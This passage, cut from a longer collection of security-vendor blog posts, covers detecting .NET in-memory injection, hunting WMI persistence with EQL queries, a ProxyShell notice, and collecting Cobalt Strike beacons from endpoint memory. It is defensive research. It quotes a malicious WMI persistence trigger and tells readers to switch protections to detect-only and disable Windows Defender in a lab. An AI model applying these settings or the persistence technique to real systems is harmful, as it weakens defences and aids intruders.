On-demand detection leverages snapshots in time-type data collection. You don’t need a persistent agent running and collecting data when the attack takes place, but you do need the malicious code running during the hunt/collection time. The trick is to focus on high-value data that can capture actor-agnostic techniques, and has a high signal-to-noise ratio. One example is the Get-InjectedThread script for detecting traditional unmanaged in-memory injection techniques. To demonstrate detecting .NET malware usage of the Assembly.Load function, I leverage PowerShell Empire by Will Schroeder and others. Empire allows you to inject an agent into any process by remotely bootstrapping PowerShell. As you see below, after injection calc.exe has loaded the PowerShell core library System.Management.Automation.ni.dll.

This fact alone can be interesting, but a surprisingly large number of legitimate applications load PowerShell. Combining this with process network activity and looking for outliers across all your data may give you better mileage. Upon deeper inspection, we see something even more interesting. As shown below, memory section 0x2710000 contains a full .NET module (PE header present). The characteristics of the memory region are a bit unusual. The type is MEM_MAPPED, although there is no associated file mapping object (Note the “Use” field is empty in ProcessHacker). Lastly, the region has a protection of PAGE_READWRITE, which surprisingly is not executable. These memory characteristics are a side effect of loading a memory-only module with the Assembly.Load(byte[]) method.

To automate this type of hunt, I wrote a PowerShell function called Get-ClrReflection which looks for this combination of memory characteristics and will save any hits for further analysis. Below is sample output after running it against a workstation that was infected with Empire.

Once again, you will see hits for legitimate applications that leverage the Assembly.Load function. One common false positive is for XmlSerializer generated assemblies. Standard hunt practices apply. Bucket your hits by process name or better yet with a fuzzy hash match. For example, ClrGuard (details next) will give you TypeRef hash with a “-f” switch. Below is an example from Empire.

Eventing-based detection

Eventing-based detecting is great because you won’t need luck that an adversary is active while you are hunting. It also gives you an opportunity to prevent attacker techniques in real-time. To provide signals into the CLR on which .NET runs, we developed and released ClrGuard. ClrGuard will hook into all .NET processes on the system. From there, it performs an in-line hook of the native LoadImage() function. This is what Assembly.Load() calls under the CLR hood. When events are observed, they are sent over a named pipe to a monitoring process for further introspection and mitigation decision. For example, Empire’s psinject function can be immediately detected and blocked in real-time as shown in the image below.

In a similar manner, OilRig’s ISMInjector can be quickly detected and blocked.

Another example below shows ClrGuard in action against Casey Smith’s universal.js tool.

While we don’t recommend you run ClrGuard across your enterprise (it is Proof of Concept grade), we hope it spurs community discussion and innovation against these types of .NET attacks. These sorts of defensive techniques power protection across the Endgame product, and an enterprise-grade ClrGuard-like feature will be coming soon.

Conclusion

It is important to thank those doing great offensive security research who are willing to publish their capabilities and tradecraft for the greater good of the community. The recent advancements in .NET in-memory attacks have shown that it is time for defenders to up their game and go toe-to-toe with the more advanced red teams and adversaries. We hope that ClrGuard and Get-ClrReflection help balance the stakes. These tools can increase a defenders optics into .NET malware activities, and raise visibility into this latest evolution of attacker techniques.

Detection and response for the actively exploited ProxyShell vulnerabilities

Daniel Stepanic,Andrew Pease — Thu, 02 Jun 2022 00:00:00 GMT

On August 21, 2021, the Cybersecurity and Infrastructure Security Agency (CISA) released an urgent notice related to the exploitation of ProxyShell vulnerabilities (CVE-2021-31207, CVE-2021-34473, CVE-2021-34523). By chaining these vulnerabilities together, threat actors are compromising unpatched Microsoft Exchange servers and gaining footholds into enterprise networks. Security vendors and researchers are also observing these attacks tied to post-exploitation behavior such as deploying ransomware to victim environments.

Elastic Security identified indicators of compromise (IoCs) indicating similar activity as reported by the industry. The details of this activity can be found in our Discuss forum, highlighting our perspective of what we have observed in our own telemetry.

Please visit the Discuss forum for full details on our identified IoCs.

Adversary tradecraft 101: Hunting for persistence using Elastic Security (Part 1)

David French,Brent Murphy,Elastic Security Intelligence & Analytics Team — Wed, 01 Jun 2022 00:00:00 GMT

Last month, we hosted a webinar, Hunting for persistence using Elastic Security, where we examined some techniques that attackers use in the wild to maintain presence in their victim’s environment. For each technique covered, we explained:

How the offensive technique works
Why the technique is often successful for attackers
How defenders can hunt for and detect the malicious behavior effectively using Elastic Security

In this two-part blog series, we’ll share the details of what was covered during our webinar with the goal of helping security practitioners improve their visibility of these offensive persistence techniques and help to undermine the efficacy of these attacks against their organization.

Part 1 will explain what persistence is and why attackers need it. We’ll introduce the Event Query Language (EQL) before showing its practical use cases for threat hunting. We will examine a popular technique used by adversaries to maintain persistence, Windows Management Instrumentation (WMI) Event Subscription (T1084). We’ll also share how Elastic Security users can hunt for and detect this technique being used in their environment.

In part 2, we’ll explore two additional persistence techniques that are being used by attackers in the wild: BITS Jobs (T1197) and Scheduled Tasks (T1053). This follow-up post will walk through real world examples of these techniques being used and how we can hunt for, detect, and prevent them using Elastic Security.

The Protections team at Elastic Security is responsible for researching, understanding, and developing detections and preventions for attacker behavior in order to stop attacks before damage or loss occur. For organizations that do not have a full-time security operations team, Elastic Security includes out-of-the-box protections against adversary tradecraft, malware, and attacks like ransomware and phishing.

What is persistence and why do attackers need it?

When we consider the common components of an intrusion, such as those depicted in Figure 1, the attacker may have spent a considerable amount of effort carrying out reconnaissance, obtaining initial access to, and establishing a foothold in their target environment. Generally speaking, an adversary will often want to maintain a presence in order to survive disruptions to their access like system restarts or user password changes. An effective persistence mechanism will execute the attacker’s malicious code on a regular basis or when a specific condition is met such as a user logon or application launch event.

In many cases, gaining access to an organization’s network is harder than maintaining persistence. It is for this reason that attackers continue to use the persistence techniques covered in this post — with largely successful results. When the security industry refers to “dwell time,” that's the period of time that begins when an adversary gains access to a system and ends when you detect them. Persistence facilitates longer dwell times, during which the adversary can work to achieve their objectives.

There are currently 63 persistence techniques documented in the MITRE ATT&CK® knowledge base of adversary behavior. This number can seem daunting at first, but an adversary’s need for persistence can be their Achilles’ heel, providing defenders with valuable opportunities to detect and remove an attacker from their environment.

By learning these offensive tactics, techniques, and procedures (TTPs) and baselining the endpoints and network activity in your environment, you have an opportunity to detect attackers early on in an intrusion before any damage or loss occurs. Security operations teams work tirelessly to detect the techniques captured in the ATT&CK matrix — hunting and writing alert logic to provide the greatest visibility and coverage of their enterprise. To help reduce the barrier to entry and enable those teams, we created EQL and released it to the community.

What is Event Query Language (EQL)?

The queries in this blog post, which can be used for threat hunting and detection, are written in EQL — a powerful and intuitive query language that makes it easy for practitioners to search for complex adversary behavior.

To learn more about EQL, you can read the Getting started with EQL blog post or review the EQL Analytics Library, which contains 200+ free security analytics mapped to the techniques documented in the MITRE ATT&CK matrix. EQL is a core component of Elastic Endpoint Security and is being added to Elasticsearch for use in Elastic SIEM.

Let’s now analyze the WMI Event Subscription technique used by attackers in the wild by demonstrating a variety of methods to hunt for and detect this technique. We decided to cover this technique given its popularity among attackers and the low detection rates by traditional security controls.

Persistence via Windows Management Instrumentation (WMI) Event Subscriptions (T1084)

WMI is the Microsoft implementation of Web-Based Enterprise Management (WBEM), a collection of technologies used to manage information and systems in enterprise environments. WMI is a built-in feature of Windows endpoints that allows both administrators and attackers to interact and manage many different functions of the operating system. Components such as network interfaces, power settings, service status, and installed software or patches can all be queried and managed via WMI.

Attackers have been abusing WMI since as early as 2008 to accomplish different objectives such as moving laterally between endpoints, enumerating what processes are running on an endpoint, and to maintain persistence. An attacker can “live off the land” by abusing built-in features of the operating system, which often results in a lower risk of detection than if they introduced malware into a victim environment.

It's no secret that adversaries prefer WMI-based persistence because:

Many organizations are incapable of monitoring or investigating WMI
Out-of-the-box WMI visibility is limited, and a third-party utility may be required to effectively convey how WMI is being used
WMI is an integral component of Windows, and the volume of weak signals from this data source can overwhelm analysts who aren't familiar with these attack types

Like most offensive techniques, until organizations can reliably detect WMI abuse, the adversary is unlikely to change their behavior.

Understanding WMI Event Subscriptions and how they can be abused

Simply put, a WMI Event Subscription can trigger an action when a certain condition is met. A WMI Event Subscription consists of three components.

EventFilter - specifies a condition that you test for, i.e. a user successfully authenticates, a particular time and day of the week occurs, etc.
EventConsumer - specifies an action to execute when the EventFilter condition is met, i.e. execute a Windows command or script, delete all Volume Shadow Copies, restart a service, etc.
FilterToConsumerBinding - this links an EventFilter to an EventConsumer instance

Figure 2 below shows the output from Sysinternals Autoruns, a free tool from Microsoft that can be used to examine various persistence locations on Windows endpoints, also referred to as Autostart Execution Points (ASEPs). Autoruns reveals a persistent WMI Event Subscription, named checkforupdates. It is important to note that there are sometimes benign WMI Event Subscriptions configured, but there shouldn’t be many. Alerting on the creation of new WMI Event Subscriptions and hunting for new ones periodically can be a low cost, high reward exercise.

The full WMI Query Language (WQL) query from the Autoruns results is shown below. Autoruns conveniently enumerated the WMI __EventFilter class for us in the root\Subscription namespace where this malicious entry was created. Interpreting this WQL query, the EventFilter condition will be met when the system’s uptime is between 240 -325 seconds. The EventConsumer is an Empire PowerShell script and will execute when this EventFilter condition is met.

To summarize, a WMI Event Subscription has been configured to execute a malicious PowerShell script shortly after the endpoint boots up. This enables the attacker to maintain persistence in the victim’s environment and survive system restarts.

SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND
TargetInstance.SystemUpTime >= 240 AND
TargetInstance.SystemUpTime < 325

Figure 3 - WMI Query Language (WQL) query showing WMI EventFilter condition

Hunting for and detecting malicious WMI Event Subscriptions

The EQL query in Figure 4 shows how we can search for a sequence of three WMI events, which were generated by the same unique process ID (PID). This query demonstrates one of the strengths of EQL by using the join function. This allows us to match sequences of events in any order. Searching for these three WMI events without binding them together by unique PID might not return meaningful results. This query matches when a WMI EventFilter, EventConsumer, and FilterToConsumer binding are created by the same process in succession, which typically occurs when malware is executed and creates a new WMI Event Subscription for persistence. This query can be used to monitor for and detect abuse of WMI.

join by unique_pid
  [wmi where properties.Operation == "*IWbemServices::PutInstance*EventFilter*"]
  [wmi where properties.Operation == "*IWbemServices::PutInstance*EventConsumer*"]
  [wmi where properties.Operation == "*IWbemServices::PutInstance*FilterToConsumerBinding*"]

Figure 4 - EQL query to search for the creation of a WMI EventFilter, EventConsumer, and FilterToConsumerBinding in succession

The above EQL query can be saved as a custom rule in Elastic Endpoint Security so that analysts can be alerted every time a new WMI Event Subscription is created by a process (Figure 5).

Resolver is the primary interface for interacting with alerts in Elastic Endpoint Security and enables users to visualize process ancestry along with relevant events such as DNS, file, network, WMI, and PowerShell, to name a few. It also provides one-click response actions to resolve the alert.

Clicking the WMI event type next to powershell.exe in Resolver enables users to review the WMI events that were generated by the process. Figure 7 shows the WMI event that was logged when powershell.exe was used to create the new WMI FilterToConsumerBinding, checkforupdates.

Elastic Endpoint Security also includes template-based hunts that lower the barriers to entry for less experienced analysts and allows for the easy collection and analysis of data across an organization’s endpoints. There are currently 25 categories of persistence data that can be collected and analyzed using template-based hunts.

Once a hunt has been executed, there are several ways to sort or aggregate the data — such as by frequency or file path. This helps analysts to quickly baseline their endpoints and identify anomalies to investigate further.

Figure 9 depicts the filtered results of a persistence hunt wherein the same malicious WMI Event Subscription was configured. Elastic Security enumerates persistence locations across your endpoints and enables users to apply filters to identify anomalies or suspicious artifacts for further analysis. Hunt teams will often assume that traditional passive and reactive security controls are fallible, and will proactively hunt for malicious persistence mechanisms in search for attackers operating in their environment.

Elastic Security comes with out-of-the-box detections for WMI abuse. Figure 10 shows the signal that was generated by Elastic Endpoint and shipped to Elastic SIEM when a malicious WMI Event Subscription was created.

Users have the option to view a signal in the Timeline within Elastic SIEM. Timeline enables analysts to search for similar activity across their data, gather and document evidence, and forward potential incidents to ticketing and SOAR platforms with ease. Part 2 of this series will show the workflow and features of Timeline.

As of version 7.6 of the Elastic Stack, the SIEM app comes with a detection engine, which enables security teams to create their own custom rules. For example, Windows 10 logs Event ID 5861 when a new WMI EventFilterToConsumer binding is created. Figure 12 shows how a custom rule can be created in Elastic SIEM to search the winlogbeat-* index pattern for winlog.record_id: 5861. We can configure a description, severity, and risk score for the new rule, as well as map the rule to the relevant techniques in the MITRE ATT&CK matrix. This information will help an analyst triage and determine the steps to take when the rule condition occurs.

Elastic SIEM is part of the Basic subscription and currently includes 92 detections that utilize Windows, Linux, network, and APM logging. We will continue to add new rules in new releases of the Elastic Stack.

In this section, we learned how WMI Event Subscriptions can be abused for persistence and how we can hunt for and detect this technique using the combination of Elastic Endpoint and SIEM. It’s important to note that we have only scratched the surface of how WMI works and the many ways that it can be used by attackers.

WMI can be used during every phase of an attack, such as moving laterally between endpoints, conducting local and enterprise reconnaissance, and stealing data. Elastic Security has released detections for many techniques that leverage WMI.

Conclusion

In this blog post, we examined a popular technique that attackers use to maintain a presence in their target environments. The number of techniques in an attacker’s arsenal can seem daunting at first, but we demonstrated a formulaic approach to examining, hunting for, and detecting techniques effectively. By building comprehension around adversary tradecraft, you can identify interesting patterns, behaviors, and artifacts that you can use to your advantage.

Elastic Security makes hunting for persistence easy. The features of Elastic Endpoint Security and SIEM (along with the protections provided out of the box) lower the barriers to entry for analysts, provide detailed visibility into endpoint activity, and enable organizations to prevent, detect, and respond to malicious behavior at scale.

To learn more about threat hunting, download a free copy of The Elastic Guide to Threat Hunting.

Plus, EQL support is being added to Elasticsearch!

Collecting Cobalt Strike Beacons with the Elastic Stack

Derek Ditch,Daniel Stepanic,Seth Goodwin,Andrew Pease — Wed, 01 Jun 2022 00:00:00 GMT

Overview

Cobalt Strike is a premium offensive security tool leveraged by penetration testers and red team members as a way to emulate adversary behavior. The goal is to validate security detection capabilities and processes replicating a real-world intrusion. While Cobalt Strike is a legitimate tool, it is often abused by actual threat actors as a way to gain and maintain persistence into targeted networks.

To manage command and control, Cobalt Strike leverages an implant that uses beacon configuration known as a Malleable Command and Control (Malleable C2) profile. A Malleable C2 profile contains a tremendous number of options to configure the beacon’s functionality, please see Cobalt Strike’s official documentation for specifics on configuring Malleable C2 beacons.

This blog will focus on using the Elastic Stack to collect Cobalt Strike beacon payloads, extract and parse the beacon configurations, and an analysis of the metadata within the configurations. This will all be taken from the memory of targeted Windows endpoints that we’ve collected from our telemetry.

The Fleet Policy

Fleet is an app in Kibana that provides a central place to configure and monitor your Elastic Agents. Fleet uses integrations, which are unified plugins that allow data to be collected from apps and services, and then stored in Elasticsearch. Integrations are added to policies, and Elastic Agents are added to policies.

First, we need to configure the collection of shellcode and malicious memory regions in a Fleet policy. This will collect 4MB of data from memory surrounding shellcode and malicious memory events. It should be noted that this collection may significantly increase the amount of data stored in Elasticsearch.

You can add this to an existing policy or create a new policy. To create a new policy, in Kibana, navigate to Fleet → Agent Policies → Create agent policy. Give your policy a name and description. Optionally, you can disable “System monitoring” and “Agent monitoring” to reduce the amount of system and agent metadata collected from your endpoints. Click on “Create agent policy”.

Next, click on your new policy and click the “Add integration button.

Finally, we’re going to add the memory and shellcode collection options. Click on the integration name (“Endpoint Security”).

Under “Protections”, leave the different protection types selected, but change the Protection level from “Prevent” to “Detect”. This will allow malware to continue to run to allow for more rich event collection. There are several types of Protections (Malware, Memory, etc.), select “Detect” for each type that has Windows as an available “Operating system”; you can uncheck Mac and Linux Operating Systems. If you are enabling this feature for a production environment, leave the Protection levels as “Prevent”

At the bottom of the integration configuration page, you can toggle “Register as antivirus” so that the Elastic Agent is registered as the Antivirus solution, and disable Windows Defender. Click on “Show advanced settings”.

At the very bottom of the advanced settings page, type “true” for the windows.advanced.memory_protection.shellcode_collect_sample and windows.advanced.memory_protection.memory_scan_collect_sample settings, and then click “Save integration”.

Once you have created this specific Fleet policy, you can apply this policy to an endpoint running the Elastic Agent. For specific instructions on how to deploy the Elastic Agent, refer to the official Elastic documentation.

Collecting the Beacon

Now that we’ve made a collection policy and applied it to a Windows machine you can target it with a CobaltStrike campaign. Instead of mimicking what a CobaltStrike beacon could look like in a lab, we’re going to use live CobaltStrike beacon payloads from Elastic’s telemetry.

To find Cobalt Strike beacon payloads, you can use the Discover app in Kibana to return events identified as Cobalt Strike. These events are provided by the Elastic Endpoint Security Agent, which identifies Cobalt Strike beacons and modules with the “Windows.Trojan.CobaltStrike” malware signature. A simple Kibana Query Language (KQL) search is as simple as:

KQL search for Cobalt Strike

event.category:(malware or intrusion_detection) and
rule.name:(Windows.Trojan.CobaltStrike or Windows.Trojan.Cobaltstrike)

Next, let’s filter on documents that have the process.Ext.memory_region.bytes_compressed field (this is a field populated by the windows.advanced.memory_protection.shellcode_collect_sample and windows.advanced.memory_protection.memory_scan_collect_sample settings we configured in the Fleet policy above). To do that we can simply add a filter for the process.Ext.memory_region.bytes_compressed_present field with a value of true.

Finally, add the process.Ext.memory_region.bytes_compressed field to our view so that we can see the value of the field.

We can see that we have 133 examples with data in the process.Ext.memory_region.bytes_compressed field. This field contains the file extracted from the memory of the infected host and then zlib deflated and Base64 encoded.

Now that we’ve collected the file in the Elastic Stack, let’s turn that raw data into a file that we can analyze.

There is a lot of nuance between operating systems on how to decode Base64 and inflate zlib deflated files. If you’d prefer to use your command line or local tools, feel free to do so. That said, CyberChef is a browser-based data parser that is provided for free by the United Kingdom’s Government Communications Headquarters (GCHQ).

Using the CyberChef web application, add the “From Base64” and “Zlib Inflate” recipesand then paste the contents of the process.Ext.memory_region.bytes_compressed field into the ).

Click on the disk icon to download the inflated binary.

Running the file command, we can see that this is a Portable Executable (PE) file that can be analyzed by a malware reverse engineer (RE).

Using the file command to validate the file type

$ file beacon.exe

beacon.exe: PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows

While an RE can identify a tremendous amount of information, let’s explore what additional information a non-RE can obtain from this file.

Next Steps

In the next release, we’ll use the beacon that we’ve just collected and extract its configuration. With this information, we’ll be able to identify other important elements such as license identifications, watermarks, and atomic indicators.